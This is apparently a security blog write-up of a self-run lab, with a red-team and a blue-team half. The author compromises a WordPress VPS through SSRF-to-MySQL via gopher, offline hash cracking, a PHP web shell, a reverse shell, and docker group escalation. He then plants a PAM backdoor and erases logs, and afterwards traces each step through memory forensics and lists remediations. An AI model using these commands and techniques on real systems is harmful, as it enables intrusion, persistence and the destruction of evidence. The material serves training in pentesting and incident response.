In this article, I will introduce you to Odie’s misfortunes. Odie is a final year student at ENSIBS Cyberdefense (France).
He is also the biggest fan of the famous band: Iron Maiden. In addition to that, he built a small fan website for them on his Virtual Private Server.
Given that, Odie is a poor student, he only owns one VPS for his tests, courses and others stuff.
But, Odie comes from the most prestigious school in cyberdefense, then he knows how to protect himself against awful hackers… Well, almost.
We will see how the Odie website got attacked and we will try to find some evidence about the attack in memory. This is what we will try to see together in this article.
First of all, I’m not an expert whether in red or blue team, not at all. The goal of this little practical exercises is learning new things and try to improve my skill in pentest and incident response. If you got any comments, feel free to contact me! :D
Thanks to SIben for helping me when I was trying to find a name for this article!
UPDATE 1 XX/XX/XXXX: Arnaud ZOBEC told me that I could have done a timeline of the attacked system before RAM dump extraction. In order to correlate file schedule.
UPDATE 2 XX/XX/XXXX: Fabian RODES advised me to detail a little more the “Action plan” part with:
SSH configuration hardening
PHP configuration and Apache2 hardening (+ ModSecurity)
Installing a reverse proxy and possibly blocking via geoip
Installing fail2ban on SSH and Apache2
UPDATE 3 XX/XX/XXXX: Laluka told me it would be nice to add some stuff like the arbitrary PHP code.
Setting up the environment
Before attacking the server, here are its specifications:
Debian 9
Apache2 server
MariaDB
PHP 7
I will share with you the Linux commands that Odie made. Perhaps you will find his& choices interesting… Or not!
During Debian installation, Odie only installed SSH server. When the system is properly installed, Odie did updates/upgrades and put his user in sudo group, more convenient.
1
2
3
4
5
6
$ su root
# apt update# apt upgrade# apt install sudo vim curl python python-pip# usermod -aG sudo odie# reboot
Now, comes the time to install and set up the web server, database and PHP for the future WordPress:
$ sudo apt install mariadb-client mariadb-server
$ sudo su
# mysql_secure_installationMySQL root password: mysqlroot
Remove anonymous users: Y
Disallow root login remotely: Y
Remove test database and access to it: Y
Reload priv: Y
# mysqlMariaDB [(none)]> create database wp_db;Query OK, 1 row affected (0.00 sec)MariaDB [(none)]> CREATE USER 'wp_mysql_user'@'localhost' IDENTIFIED BY '';Query OK, 0 rows affected (0.00 sec)MariaDB [(none)]> GRANT ALL PRIVILEGES ON *.* to 'wp_mysql_user'@'localhost';Query OK, 0 rows affected (0.00 sec)MariaDB [(none)]> FLUSH PRIVILEGES;Query OK, 0 rows affected (0.00 sec)MariaDB [(none)]> quit
Bye
# sudo apt install php7.0 php7.0-mysql apache2 libapache2-mod-php7.0$ echo"<?php echo 'bite de poulet'; ?>" > test.php
$ curl 127.0.0.1/test.php
bite de poulet
As Odie has been computer science security courses, he takes great care to run mysql_secure_installation to set a password on MySQL root user, remove useless data, and disable remote connection for the root user.
In addition, he knows that it’s a bad habit to work with the root user. Then he created a specific MySQL user for his WordPress: wp_mysql_user.
Talking about WordPress, Odie installed it like that:
1
2
3
4
5
6
7
8
9
10
$ cd /var/www/html
$ wget https://wordpress.org/latest.tar.gz
$ file latest.tar.gz
latest.tar.gz: gzip compressed data, last modified: Wed Dec 19 23:24:07 2018, from Unix
$ tar xvfz latest.tar.gz
$ mv wordpress/* .
$ sudo chown -R www-data:www-data /var/www/html
$ sudo find /var/www/html -type d -exec chmod 755{}\;$ sudo find /var/www/html -type f -exec chmod 644{}\;$ sudo rm index.html
Rights are well assigned, we have 755 on all folders, 644 on files and the owner of everything in /var/www/html folder is www-data. Everything is going well!
After four clicks, the WordPress is finally installed. Odie doesn’t like to bother too much, he didn’t have his keepass with him so he put a temporary weak password for the admin account. He thought he is going to change it later.
Then, Odie installed docker. It’s more convenient for little tests and setting up small architecture. Here is his configuration:
Now that everything is installed, he decided to customize his website with a more rock’n’roll theme.
After that, Odie go back to his business. He got some work to do for his school. Hurry! It’s the last year, he shouldn’t miss it!
Red team time
A few days/weeks have passed since Odie put his website online. A clever student from a competing school fell on Odie’s website. This student knows that the site belongs to Odie. This little gangster wants to hack the website and steal all ENSIBS courses!
Fingerprinting
This step will allow the attacker to get an accurate idea of the targeted information system. This will allow him to develop some advanced attacks against the server and get access or confidential data.
WordPress
As the attacker, we know there is a website, a WordPress. There are some small interesting features on this kind of CMS, such as user enumeration:
At least, the WordPress is up to date. Wappalyzer is a Firefox plugins which display versions of solutions used in the visited website.
Nmap
The next scan is not very stealthy, even not at all. It’s red team but not too much red team… :')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
host $ sudo nmap -p- -sS -sV -O -oA nmap 192.168.122.147
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-27 03:51 UTC
Nmap scan report for 192.168.122.147
Host is up (0.00024s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
MAC Address: 52:54:00:64:C8:8F (QEMU virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds
This scan will test all TCP ports of the machine (from 1 to 65535) and will try to determine the services and associated versions. Finally, I export these reports in gnmap, nmap and xml format.
Pro tip: to make easier large nmap scans reading:
1
host $ xsltproc nmap.xml > nmap.html
This tool will convert the XML file to an HTML file similar to:
Bruteforce?
We could try to brute-force the SSH with eddiethehead or oddie as username, but that wouldn’t be very discreet. So we’re going to try something much more quiet: brute-force the files at the root with DirBuster.
Yes I know, it’s not quiet, but well, I’m sure Odie won’t see his logs…. At least for the moment.
We use 40 threads because, well, I have already generated logs, then let’s continue in that way. I will use the “medium” wordlist provided with DirBuster, which never really disappointed me.
And finally, we will only look for PHP and text files in the root folder, without being recursive. If there are no new hypotheses at the end of this first brute force, then maybe I will dig deeper. But for the moment, there are no advantages in being recursive.
After only 8500 requests, a file got my attention: test.php. It is not a default WordPress file:
Let’s take a look at it:
Exploitation
A file checker, let’s see what happens if I query for maki.bzh (totally random choice obviously :D).
We can only test local files. Let’s try with the index.php file:
Hmmm… It includes the webpage, we might think there is a file inclusion somewhere!
LFI, RCE or SSRF?
Indeed, we can think of a Local File Inclusion, a Remote Command Execution or Server Side Request Forgery… But thanks to the output verbosity, we assume this script is using curl:
Let’s try to change the protocol used, something like file:// instead of http://. If we don’t miss the localhost condition, it should work:
file://localhost/etc/passwd
This application allows us to include arbitrary file, great. By the way, there is a user called odie on the system. I will display the content of test.php, just to be clear about the vulnerability:
<?phpfunctionsafe($url){$tmpurl=parse_url($url,PHP_URL_HOST);if($tmpurl!="localhost"and$tmpurl!="127.0.0.1"){var_dump($tmpurl);die("<h1>Only access to localhost</h1>");}return$url;}functiongetUrlContent($url){$url=safe($url);$url=escapeshellarg($url);$pl="curl -v ".$url;echo$pl;$content=shell_exec($pl);echo$content;return$content;}?>
No more doubt, we got an SSRF in front of us. The RCE is not possible because of escapeshellarg(); function in PHP.
Server Side Request Forgery
So now that I know there is an SSRF, we have to find a compatible service to interact with the system. There is a WordPress installed, then we can think that MySQL is being used. Let’s try to get the configuration file from the CMS:
<?php/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */define('DB_NAME','wp_db');/** MySQL database username */define('DB_USER','wp_mysql_user');/** MySQL database password */define('DB_PASSWORD','');/** MySQL hostname */define('DB_HOST','localhost');/** Database Charset to use in creating database tables. */define('DB_CHARSET','utf8mb4');/** The Database Collate type. Don't change this if in doubt. */define('DB_COLLATE','');/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/define('AUTH_KEY',')Rd+$da6g*B/tnJv#L[l$Ms3O+;YGx5(;fd$%eA16&Tc;6Gh|!nnrv23K1B>/=C?');define('SECURE_AUTH_KEY','x8K1X9U?.Kf!sxlL0Mt6&5 -wa,`>HjBhp,j@LWyIIcwW#U)`m.C(6{v)EKfl|!<');define('LOGGED_IN_KEY','~ZW7f:RWz,6s?fXB=EqZ/$j.d]@d^{l=q1SnCySLm,$]9Y9B>lq n?]S>10=F`9c');define('NONCE_KEY','@rs_~hBZ2 ;~A6/eH7C&Q@JB}Af$IF=N5_CbuXq?DT|_n{TsFq|_g}[I<)juXM=i');define('AUTH_SALT','SbuXoB.8TYTm`%WEKRN/9Me8O9C>]K((y}s/3~IwpMBTrI6(&JiD0<nuf[huStMI');define('SECURE_AUTH_SALT','w(wnD$yjnc@z6]Kal{.=Kv~G5{u$j=ZnKaN,#`Dl7xbS_(3OVi~w]0.Hk;wQ#lbB');define('LOGGED_IN_SALT','-1.h]p gm?rf1?6byNfAbK:VJ}3x&dx2Gf-QS%a</GHh8t{to1T5a~lQ=408,PyM');define('NONCE_SALT','4v6W.P-H:4}wJdOo9XNtO0_eCp e9xpSi4m5Q6<htwNo`JKynG2iq8A}[VCh[&eS');/**#@-*//**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/$table_prefix='wp_';/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the Codex.
*
* @link https://codex.wordpress.org/Debugging_in_WordPress
*/define('WP_DEBUG',false);/* That's all, stop editing! Happy blogging. *//** Absolute path to the WordPress directory. */if(!defined('ABSPATH'))define('ABSPATH',dirname(__FILE__).'/');/** Sets up WordPress vars and included files. */require_once(ABSPATH.'wp-settings.php');</body></html>
There are some interesting things to notice:
MySQL is used ;
There is no password on the MySQL user wp_mysql_user ;
The database name is wp_db.
There are many articles on the internet about SSRF exploitation with MySQL. Let’s see how I can take advantage of this.
SSRF to SQL injection
On my laptop, I installed MySQL (MariaDB), created a database called wp_db, created a user called wp_mysql_user without authentication password, downloaded and install WordPress:
1
2
3
4
host $ mysql -u root -p
MariaDB > create database wp_db;MariaDB > CREATE USER 'wp_mysql_user'@'localhost' IDENTIFIED BY '';MariaDB > GRANT ALL PRIVILEGES ON *.* to 'wp_mysql_user'@'localhost';
Once my personal environment is similar to the target one, here is my MySQL request to get the Wordpress credentials:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
host $ mysql -u wp_mysql_user
MariaDB [(none)]> select user_login,user_pass from wp_db.wp_users;+--------------+------------------------------------+
| user_login | user_pass |+--------------+------------------------------------+
| test_user | SomeWordpressHash |+--------------+------------------------------------+
1 row in set(0.00 sec)host $ mysql -h localhost -u wp_mysql_user -e "select user_login,user_pass from wp_db.wp_users;"+--------------+------------------------------------+
| user_login | user_pass |+--------------+------------------------------------+
| test_user | SomeWordpressHash |+--------------+------------------------------------+
The second request is just a one liner specifying that it is necessary to go through the localhost.
To execute SQL commands, I will need to look at the query in Wireshark and understand which data is sent and how. The following article will probably explain this better than me: https://paper.seebug.org/510/
The mentioned article shows us how to simulate the MySQL request in a local environment, retrieve data transmitted and replay them. This means that MariaDB has no specific protection against regame or authenticity.
Displayed bytes at the end of the above GIF will be used as payload to get the username and hashed password from the WordPress database. With a little python script, stolen to our asian friends, I will be able to generate the complete payload:
In fact, this python script will just add gopher://127.0.0.1:3306/_ in front of our payload and add a % every two characters. Otherwise, the web server will not take the data as hex data.
By filling the “URL” input of test.php with our ugly payload, there is a nice return in front of our eyes:
Credentials stored in the database are:
username
hash
eddiethehead
$P$Bi423VbUyNs7iWzYNNDqPBdisIiL.D0
Offline bruteforce
Having a hash, we can try to break it, testing all the possibilities. If it doesn’t work, I can try to upload a webshell via our SSRF
1
2
host $ echo"$P$Bi423VbUyNs7iWzYNNDqPBdisIiL.D0" > hashhost $ john hash --wordlist=rockyou.txt
Nothing relevant after few minutes. Odie put a strong password or the password is not in the rockyou wordlist.
John is able to change wordlists content following preset customization rules. Modifying rockyou will take to long, I decided to do my own wordlist, containing only 8 words:
1
2
3
4
5
6
7
8
eddiethehead
ironmaiden
admin
root
ensibs
test
administrator
wordpress
I want to maximize my chances, I decide to use all of John’s customization rules:
1
2
3
4
5
6
7
8
9
10
11
host $ john hash --wordlist=wordlist --rule=all
Warning: detected hashtype"phpass", but the string is also recognized as "phpass-opencl"Use the "--format=phpass-opencl" option to force loading these as that type instead
Loaded 1 password hash(phpass [phpass ($P$ or $H$) 128/128 AVX 4x4x3])Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
eddiethehead123 (?)1g 0:00:00:00 DONE (2018-12-27 00:53) 1.298g/s 935.0p/s 935.0c/s 935.0C/s Eddiethehead46..eddiethehead7777
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Great! It worked! The hash is broken, the password is: eddiethehead123.
RCE to reverse shell
It’s time for me to log on the WordPress administration panel:
username
password
eddiethehead
eddiethehead123
It works like a charm! Now it’s time to execute commands directly on the Linux host. To do that, I just have to edit or upload a PHP page. Nowadays, it’s possible to edit the current CMS theme through the web view.
Appearences > Themes > Editor
On the right panel, we can see the “inc” folder, inside it, there are some PHP files such as customizer.php. I will inject arbitrary PHP code in this page:
This little PHP line will runs the data sent through the “x” GET parameter. Here is an example:
Perfect, it’s time to execute a reverse shell. The standard method (using netcat) is no longer available since the “-e” argument has been removed. The /dev/tcp/IP/PORT trick is not always possible too.
But there are a lot of possibilities to runs a reverse shell, it works with PHP or Python for example. I will not modify the PHP pages any further, in order to avoid damaging the integrity of the site.
1
2
3
4
5
host $ curl "http://192.168.122.147/wp-content/themes/rock-band/inc/customizer.php?x=which%20nc"-> No netcat
host $ curl "http://192.168.122.147/wp-content/themes/rock-band/inc/customizer.php?x=which%20python"/usr/bin/python
Python is present on the remote target, nice. Let’s go get the payload on pentestmonkey:
Odie really loves his school, he even made a script for checking the disponibility of the website. Beautiful.
However, it’s a python script and the binary seems to be used as a wrapper to execute this script. Fortunately, it got the sticky bit, which means that if we can execute commands through this binary, then we will have rights of odie user on the system.
Environment variable PYTHONINSPECT will force the inspection mode. It means a python console will appear at this end of python script execution. With the binary’s rights ;)
Yeeeeeeeees! Here I am with the identity of Odie on his system, I will be able to steal all ENSIBS projects! I could stop the attack here…
… Or not. In case of real red team operation, you can’t surrender before being root and remove all traces left behind. And when you’re root you’re able to give a little present: a backdoor :D
Here, I executed the id command to make sure of my rights. I saw something really nice: the odie user is in the docker group. Odie probably made this because he is too lazy to do sudo before doing some docker stuff. But because of this, I’m able to get root access.
Indeed, docker daemon is going to access to the root user, but also to all users in docker group. In this way, it’s possible to get a root shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
odie@webserver $ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
hello-world latest 4ab4c602aa5e 3 months ago 1.84kB
odie@webserver $ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
Unable to find image 'chrisfosterelli/rootplease:latest' locally
latest: Pulling from chrisfosterelli/rootplease
2de59b831a23: Downloading [==========================================> ] 56.22de59b831a23: Pull complete354c3661655e: Pull complete91930878a2d7: Pull completea3ed95caeb02: Pull complete489b110c54dc: Pull completeDigest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
Status: Downloaded newer image for chrisfosterelli/rootplease:latest
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
root@webserver # iduid=0(root)gid=0(root)groups=0(root)
Post exploitation
During post-exploitation, it’s time for backdooring the system and remove all traces left behind.
PAM backdoor
PAM means Pluggable Authentication Modules, in other words, and to be brief, it’s the authentication mechanism in modern Linux systems. This mechanism is requested when you’re using SSH, sudo or whatever.
Now, what would happen if we added a condition to the code? Something like: “If the password is equal to PlopPlop1337, then log me regardless of the user and the real password”. Many blogs got articles about this kind of backdoor, there are even some GitHub to automate the process: https://github.com/zephrax/linux-pam-backdoor
First things to do, determine the PAM version used by the target system:
The first mv is used to do a backup of the existing libary, in case of failure. It’s simple, if I fail my backdoor installation, I will simply broke the authentication system.
Ok, the backdoor is installed, let’s test:
In two password prompt above, the password was: PlopPlop1337. The system is fully compromised, with perennial access to the system!
Cleaning time
Ok, the backdoor is in place and well hidden. Now it’s time to clean our mess. Here some elements to remove:
Apache2 logs
MySQL logs
Authentication logs
PHP arbitrary code in the WordPress
odie and root history
I probably forget things to remove. Some are well known, but others not at all. I must have really forgot things :')
Apache logs
The access.log file contains Apache2 server logs, each page requested, http method and so on are stored in this file.
I just have to find when I started to play with my arbitrary code in the WordPress theme:
Moreover, we’re speaking about Iron Maiden since the beginning, 666 is a good number!
MySQL logs
In /var/log/mysql/ folder there is only one file: error.log. It does not contains that much relevant for a forensic analyst. However, there are .mysql_history file in each users folders: /root and /home/odie.
It’s better not to remove everything. Even if Odie is not looking at his logs, let’s try to delete only necessary stuff.
Authentication logs
The /var/log/auth.log file contains authentication logs, we talked about PAM mechanism earlier. I will take a look inside to know when www-data started to execute Linux commands:
1
2
3
4
5
6
7
8
$ cat /var/log/auth.log | less -N
[Looking for"www-data"]88 Dec 26 20:39:01 webserver CRON[12209]: pam_unix(cron:session): session closed for user root
89 Dec 26 20:41:26 webserver sudo: odie : TTY=pts/0 ;PWD=/var/www/html ;USER=root ;COMMAND=/bin/chown -R www-data:www-data /var/www/html
90 Dec 26 20:41:26 webserver sudo: pam_unix(sudo:session): session opened for user root by odie(uid=0)$ cat /var/log/auth.log | head -n 88 > /var/log/auth.log.bak
$ mv /var/log/auth.log.bak /var/log/auth.log
PHP backdoor
Remember the cute little line in the WordPress theme? Well, it’s time to take it off. However, to avoid generating other apache logs, we will not go through the web interface, but through our favorite command line text editor.
1
2
backdoor # vim /var/www/html/wp-content/themes/rock-band/inc/customizer.php[Backdoor removing]
Users history
I logged in with a lot of users during this operation:
www-data
odie
root
.bash_history files got polluted. Let’s start with odie:
1
2
3
4
5
6
7
8
9
10
backdoor # cat /home/odie/.bash_history | less -N[...]156cd /var/www/html
157 sudo mysqldump wp_db > database_name.sql
158 sudo su
159 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]backdoor # cat /home/odie/.bash_history | head -n 158 > /home/odie/.bash_history.bakbackdoor # mv /home/odie/.bash_history.bak /home/odie/.bash_history
Like KFC, it’s all good. Traces are erased and we kept our backdoor in place.
Blue team time
Odie, taken in his studies, didn’t notice anything on his fanboy site. Several days goes, and the hacker connects to the VPS sometimes. To steal all ENSIBS courses.
One day, this silly hacker did a mistake: he forgot to log off. By chance, Odie did a ss and sees an unusual connection:
Panicked by what he sees, he decides to make a memory dump of his VPS and put on his cyber digital firefighter cap 2.0.
Forensic environment
In order to analyze this case in the best possible conditions, it’s necessary to extract the memory from the server and creating the appropriate volatility profile.
Disk extraction
To avoid further corrupting this infected disk, I will make a bit-by-bit copy of it with dd to be able to analyze it safely. For space and portability reasons, I will compress it on the fly:
Finally, the expect moment: the treasure hunt! Odie intends to investigate this mysterious connection. Fortunately, he has been cyberdefense courses at ENSIBS to help him in this task.
Processes 22341 and 22335 are executes by the IUD 1000, in other words, the user odie. It’s quite surprising.
The attacker has been logged in legitimately. If the hacker would abuse a binary, the parent would be this binary and not a legit service (like ssh). In our case, it’s considered as a legit connection for the system, there are two possibilities:
The attacker found the odie’s password ;
The attacker implemented a backdoor.
Odie knows his session password, it’s easy to search it in memory using yarascan plugin from Volatility:
The password has been found at the address 0x55f43e6dd646. The sshd heap owns this address (0x000055f43e6b6000 - 0x000055f43e6fb000). Let’s extract the heap:
What a surprise, the string PlopPlop1337 is really strange. This string does not appear in the heap of the legit sshd process. The backdoor hypothesis becomes a reality.
We have barely made this discovery that Odie wants to try to log on with these credentials:
Odie : PlopPlop1337
He realizes with amazement that it works! It seems that a backdoor has been installed! Questions are: where it is and how did it come here?
Well, well, well. Fortunately, our friend the hacker is a nice man, he has created a backup for us :D
Let’s extract these files the bak should be the real library and the other the backdoor.
It’s true, doing md5 comparaison between two files extracted from memory is not really relevent. Who knows, it could have been useful.
After a brief analysis of their strings, PlopPlop1337 is found in pam_unix.so library. It is true, we have located the backdoor! Champagne!
Obviously, the bad hacker is called Monique! This string is here because the bad girl compiled the PAM backdoor on her machine and not on Odie’s web server.
There are several things to consider:
If there is a PAM backdoor, then Monique got root rights ;
On a web server, the entrypoint must be the website ;
Even if the web site got pwned, Monique did one or more privilege escalation.
Entrypoint
Ok, me and Odie found the backdoor. But if we remove it without finding the entry point, then Monique will be able to install her backdoor again and again, without any problems.
Let’s focus on the web server. First of all, finding Apache2 logs:
Monique must be a really nice girl. She did backups before removing something. Or she is just a bit stupid and don’t know how to really clean her traces :D
Pro tip: when you have to read large Apache2 logs, and you don’t have super cyber SIEM 4.0, you got ccze. It will colorize the output and will gives this result:
Odie sees a beautiful little User-Agent: DirBuster-1.0-RC1 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)
DirBuster is a Java tool provided by OWASP, it allows a pentester to bruteforce filenames and directories of a web server according to preset wordlist.
Monique IP address tried to find filenames and directories with this tool. Let’s count together most visited web pages:
Unfortunately, there is no .bash_history for the user www-data. We have to find another way to find out what Monique did with this site.
After searching for several hours, Odie reminds me that he still has access to his VPS, let’s see what we can get from it. If there is any additional information in the VPS log files:
1
2
3
4
5
6
7
webserver $ cat ../auth.log | grep 158Dec 27 19:58:33 webserver sshd[21592]: Did not receive identification string from 192.168.122.158 port 35782Dec 27 21:17:03 webserver sshd[21871]: Connection closed by 192.168.122.158 port 36434[preauth][...]Dec 27 21:49:51 webserver sshd[22149]: Disconnected from 192.168.122.158 port 36538Dec 27 22:23:44 webserver sshd[22335]: Accepted password for odie from 192.168.122.158 port 36736 ssh2
Dec 28 00:52:47 webserver sshd[24179]: Accepted password for odie from 192.168.122.158 port 37392 ssh2
The first connection seems to have been established the 27/12 at 19:58:33 and the last the 28/12 at 00:52:47. The last connection is the one that appears during Odie’s ss.
If I apply a filter on the first schedule in Apache2 logs, access.log, we can get interesting things:
As we can see, test.php file was called in the same minute, but it’s a POST request, with a standard User-Agent. The attacker probably wanted to test something.
In filtering on “158” (Monique IP address suffix), “test.php” and removing all garbage request due to Nmap and DirBuster, we can find this:
Monique must found something on her last request because she decided to go on WordPress admin panel: wp-admin. She probably discovered something that allowed her to log on as eddiethehead.
However, we need to stay focus on our task: finding the entry point. The attacker requested many time test.php web page before logging in. She must have exploit something at 19:58:58.
So this page makes a poor curl on a page located in the localhost (127.0.0.1). Odie told me it was for a course project or something, whatever. He probably got fucked because of this project
On Geluchat website, Odie sees things about file:// and gopher:// stuff. Odie is an ethical person and his school too. ENSIBS teach only cyberdefense stuff, not offensive security, it’s not CDAISI. Nevertheless, he decided to search into the memory these artifacts. Sometimes we need some luck:
Odie finds the string b.wp_users. In WordPress world, wp_users is the MySQL table where user informations are stored. By user informations, I mean username, hashed password and so on.
I think we found the entry point: Monique exploited an SSRF and get WordPress credentials stored in the MySQL database.
Reverse shell
Knowing the entry point (test.php) makes easier to understand why Monique rushed to the WordPress administration page (wp-admin):
Since there is only one user on the website (eddiethehead), it’s not really hard to guess with which account Monique logged in. Going down a little bit in the log file, something caught my attention:
At the very first view, nothing really awful over there. But Monique edited a PHP web page: customizer.php. We can hypothesize that the evil hacker injects arbitrary PHP code in this page in order to get access on the Debian server.
Unfortunately, Monique removed her arbitrary code before leaving, so no proof… Even in the memory dump, there doesn’t seem to be much:
The first file is follow by the ~ suffix, probably for temporary files. If we would manage to recover this file, we probably could get the arbitrary code.
The second one, is an ENSIBS project of Odie, finding this file in this place is quite surprising.
Let’s look for customizer.php string in memory, with the yarascan plugin from Volatility and see where it appears:
The code is explicit, it gives an interactive /bin/sh to the suspicious IP address (IP owns by Monique) through a network socket on TCP port 3615. I think we found the arbitrary code injected: command execution in PHP.
Privilege escalation
We are starting to get a good look on actions made by Monique. However, there is something strange, what happened between the reverse shell and the backdoor?
Monique got an access as www-data, not as root. She must be doing at least one privilege escalation.
In fact, we could stop the investigation here. We know where the backdoor is, we know where is the entry point. In principle, if we correct these issues, Monique will no longer be able to get access to the Odie’s VPS. But we’re here to learn things and have fun! Then let’s going further!
www-data to odie
As we know, www-data got shell access the 27/12/2018 at 21:08:21. In auth.log file, recovered from memory, we can see 10 minutes later an SSH connection using the Odie public key:
1
2
3
4
$ cat auth.log | grep -a '21:1'[...]Dec 27 21:17:09 webserver sshd[21876]: Accepted publickey for odie from 192.168.122.158 port 36436 ssh2: RSA SHA256:ewpGYcEucLCF/HglzVKufdAi1091iowCPAA95g2tDxA
[...]
I assume Odie’s private key was stolen by Monique. She did at least two privilege escalation:
www-data -> odie ; odie -> root
The first privilege escalation will be hard to find because www-data doesn’t have .bash_history files or other kinds of commands history. But, odie has his bash history, let’s try to find out something useful:
The odie user is in the group of only two processes:
1
2
webserver $ id
uid=1000(odie)gid=1000(odie)groupes=1000(odie),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),999(docker)
sudo
docker
Sudoers rights got default configuration, then you need the odie password to run commands as root. The attacker wouldn’t managed to gain root access from sudo. It remains docker.
The privilege escalation happened after 21:17:09, it’s the time of SSH key connection of Monique with the odie account:
Finally, the laziness of using sudo every time he needs to use docker will have gotten the better of our little Odie.
Attack scenario
According to our analysis, here is the attacker scenario:
Action plan
Now that we have done a nice analysis, it’s important to mitigate and fix vulnerabilities.
Remediation
Remove or move /var/www/html/test.php and /var/www/html/config_test.php files ;
Removing odie from docker group ;
Removing the PAM backdoor of Monique and restore the legit PAM mechanism ;
Remove old SSH key pair and generate new SSH keys for odie ;
Add a password on MySQL user wp_mysql_user ;
Allow wp_mysql_user to manage only the WordPress database.
Improvement
Deport logs to avoid their deletion (voluntary or not). Odie is a good student, he listened to all his courses on Splunk. It will be easy for him ;
Enable Apache2 POST requests logging ;
Store commands runs by www-data ;
Change SSH default port ;
Install an SSH honeypot on the default port.
Conclusion
To conclude this article, I really enjoyed doing it, I learned a lot of things, whether it was in blue team or red team. The main problem is that my point of view was completely biased since I was both the attacker and the attacked. I should be looking for someone who attacks a machine, makes a memory dump and sends it to me.
Moreover, it’s a new system, which has no experience and no interaction with the internet. This system is completely prevented from external noise. This is why to was so “easy” to find all these artifacts despite the completely poor log configuration.
Some omissions like the docker container for privilege escalation are not done on purpose, I really forgot to delete the container! I realized this during the analysis of the memory dump.
I hope you will have learned some things as readers, and that it will motivate you to do these kinds of little exercises and write about it :D
If you have any questions about this article, advice about the methodology (blue or/and red team) or even just for chatting, feel free to contact me on Twitter: Maki Twitter.
Finally, I would like to be clear about the history between Monique and Odie. After all of that, Monique has stopped annoying Odie. They even going to see Aquaman together this weekend! They lived happily ever after and had many children! :)
